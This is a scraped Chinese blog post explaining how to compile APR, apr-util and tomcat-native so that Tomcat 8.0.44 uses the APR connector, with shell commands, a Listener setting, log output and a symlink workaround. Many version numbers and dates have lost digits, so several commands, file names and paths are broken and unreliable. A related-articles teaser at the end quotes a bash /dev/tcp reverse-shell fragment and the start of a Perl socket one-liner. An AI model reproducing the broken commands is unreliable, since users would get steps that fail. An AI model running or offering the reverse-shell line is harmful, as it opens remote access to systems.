听说Apr可以提高tomcat很多的性能,配置具体如下

1.安装apr 1.5.2

[root@ecs-3c46 ]# cd /usr/local/src
[root@ecs-3c46 src]# wget http://apache.fayea.com//apr/apr-1.5.2.tar.gz
[root@ecs-3c46 src]# tar -xzvf apr-1.5..tar.gz
[root@ecs-3c46 src]# cd apr-1.5.
[root@ecs-3c46 apr-1.5.]# ./configure --prefix=/usr/local/apr
[root@ecs-3c46 apr-1.5.]# make
[root@ecs-3c46 apr-1.5.]# make install

2.安装apr-util-1.5.4

[root@ecs-3c46 ]# cd /usr/local/src
[root@ecs-3c46 src]# wget http://mirrors.hust.edu.cn/apache//apr/apr-util-1.5.4.tar.gz
[root@ecs-3c46 src]# tar -xzvf apr-util-1.5..tar.gz
[root@ecs-3c46 src]# cd apr-util-1.5.
[root@ecs-3c46 apr-util-1.5.]# ./configure --prefix=/usr/local/apr
[root@ecs-3c46 apr-util-1.5.]# make
[root@ecs-3c46 apr-util-1.5.]# make install

3.如果没有安装openssl的请安装下openssl,已经安装的继续下一步

4.安装 tomcat-native组件,发现在tomcat8.0.44的bin目录下面已经有相关文件tomcat-native.tar.gz
解压后得到tomcat-native-1.2.12-src文件夹

[root@ecs-3c46 bin]# tar -xzvf tomcat-native.tar.gz
[root@ecs-3c46 bin]# cd tomcat-native-1.2.-src/native
[root@ecs-3c46 native]# ./configure --with-apr=/usr/local/apr --with-java-home=/usr/local/java/jdk1..0_80 --with-ssl=/usr/local/openssl --prefix=/usr/local/tomcat/apache-tomcat-8.0.
[root@ecs-3c46 native]# make
[root@ecs-3c46 native]# make install

5.tomcat配置,默认tomcat8.0.44是启用Apr的,在Listener结点配置

<Listener SSLEngine="on" className="org.apache.catalina.core.AprLifecycleListener"/>

重启tomcat服务后出现一个问题,表示还没有成功使用Apr
27-Jul-2017 15:50:13.488 INFO [main] org.apache.catalina.core.AprLifecycleListener.lifecycleEvent The APR based Apache Tomcat Native library which allows optimal performance in production environments was not found on the java.library.path: /usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib

解决方法:
在/usr/java/packages/lib/amd64目录下面创建/usr/local/apr/lib/libtcnative-1.so.0.2.12的链接

[root@ecs-3c46 native]# cd /usr/java/
[root@ecs-3c46 java]# mkdir packages
[root@ecs-3c46 java]# cd packages
[root@ecs-3c46 packages]# mkdir lib
[root@ecs-3c46 packages]# cd lib
[root@ecs-3c46 lib]# mkdir amd64
[root@ecs-3c46 lib]# cd amd64
[root@ecs-3c46 amd64]# ln -s /usr/local/apr/lib/libtcnative-.so.0.2. libtcnative-.so
[root@ecs-3c46 amd64]# ln -s /usr/local/apr/lib/libtcnative--.so.0.2. libtcnative-.so.

6.重新启动tomcat,如果显示如下信息就表示已经配置成功了。

-Jul- ::29.479 INFO [main] org.apache.catalina.core.AprLifecycleListener.lifecycleEvent Loaded APR based Apache Tomcat Native library 1.2. using APR version 1.5..
-Jul- ::29.479 INFO [main] org.apache.catalina.core.AprLifecycleListener.lifecycleEvent APR capabilities: IPv6 [true], sendfile [true], accept filters [false], random [true].
-Jul- ::29.491 INFO [main] org.apache.catalina.core.AprLifecycleListener.initializeSSL OpenSSL successfully initialized (OpenSSL 1.0.2l May )

Linux下Tomcat8.0.44安装使用Apr的更多相关文章

  1. Linux下Tomcat8.0.44配置使用Apr

    听说Apr可以提高tomcat很多的性能,配置具体如下 1.安装apr 1.5.2 [root@ecs-3c46 ]# cd /usr/local/src [root@ecs-3c46 src]# w ...

  2. linux下redis4.0.2安装与部署

    一.redis的介绍 Redis是当前比较热门的NOSQL系统之一,它是一个key-value存储系统.和Memcache类似,但很大程度补偿了Memcache的不足,它支持存储的value类型相对更 ...

  3. Linux下Redis4.0.12安装、配置、优化

    一.安装 1.检查gcc环境 执行命令,如果Linux系统没有安装gcc编译器,会提示“Command not found” # gcc -v 安装gcc # yum -y install gcc 以 ...

  4. ACE-6.1.0 linux 下的编译与安装步骤

    ACE-6.1.0 linux 下的编译与安装步骤  引用至http://www.cnblogs.com/liangxiaxu/archive/2013/03/07/2948417.html 1.从  ...

  5. Linux下tomcat6.0与jdk安装

    Linux下tomcat6.0与jdk安装 步骤如下: 1. 上传apache-tomcat-6.0.37.tar.gz和jdk-6u13-linux-i586.bin至/usr/local 给这两个 ...

  6. Linux下指定版本编译安装LAMP

    说明: 操作系统:CentOS 6.5 64位 需求: 编译安装LAMP运行环境 各软件版本如下: MySQL:mysql-5.1.73 Apache:httpd-2.2.31 PHP:php-5.2 ...

  7. Linux下apache+phppgadmin+postgresql安装配置

    Linux下apache+phppgadmin+postgresql安装配置 操作系统:CentOS 安装包:httpd(首选yum), php(包括php以及php-pgsql,php-mbstri ...

  8. Linux下的网络远程安装

    Linux下的网络远程安装 1.用RHEL6.5光盘安装第一台服务器 2.在第一台服务器上配置YUM服务器 先创建一个挂载 #mount #umount /dev/cdrom #mkdir /mnt/ ...

  9. 【转】Linux下XenServer管理工具安装

    转载文章 - Linux下XenServer管理工具安装 Xen-Server 6.5 虚拟机安装Linux系统 vmware安装ubuntu12.04嵌套安装xen server(实现嵌套虚拟化) ...

随机推荐

  1. 各种语言一句话反弹shell

    Bash [不通用,跟linux发行版本有关,在ubuntu上测试成功] bash -i >& /dev/tcp/ >& Perl perl -e 'use Socket; ...

  2. Myeclipse快捷键组合

    ------------------------------------- MyEclipse 快捷键1(CTRL) ------------------------------------- Ctr ...

  3. 安装并配置Apache

    从今天开始,我将开始Web开发的学习.本系列博客将陆续记录我学习过程中的收获和困惑,从前端到后端,一探Web开发的流程和内容.我目前掌握的有C/C++,有一些使用C进行嵌入式开发的经验,C++就马马虎 ...

  4. 电脑上的windows键突然失灵了,肿么办

    windows经常会用到,或许平时感觉不出异常来,偶尔用一次的时候,去发现失灵了,肿么办? 如果只是单纯的弹出开始菜单来,可以按Ctrl+Esc,功能是一样的. 这种情况其实是windows被禁用了, ...

  5. 浅尝JavaScript document对象

    document对象 每个载入浏览器的 HTML 文档都会成为 Document 对象.document 对象是HTML文档的根节点与所有其他节点(元素节点,文本节点,属性节点, 注释节点).Docu ...

  6. AutoMapper5.0创建对象方法更新

    /// <summary> /// 单个对象映射 /// </summary> public static TDestination MapTo<TSource, TDe ...

  7. javascript中apply,call,bind区别,bind兼容等问题总结

    1 三者的相似之处: (1).都是用来改变函数的this对象的指向的 (2).都是用第一个参数来做this对象的指向 (3).都可以传参数进去 那么,具体到它们有什么区别呢?请看下面的例子: 两个对象 ...

  8. Vulkan Tutorial 23 Descriptor layout and buffer

    操作系统:Windows8.1 显卡:Nivida GTX965M 开发工具:Visual Studio 2017 Introduction 我们现在可以将任意属性传递给每个顶点的顶点着色器使用.但是 ...

  9. 查询sql表列名

    --查询sql 查询表列名Select Name FROM SysColumns Where id=Object_Id('Tab') --查询sql数据库表列名称select name from sy ...

  10. jquery取出所有包含class='engineer_val'的值

    $(".engineer_val").each(function(){ //jquery取出所有包含class='engineer_val'的值 $(); });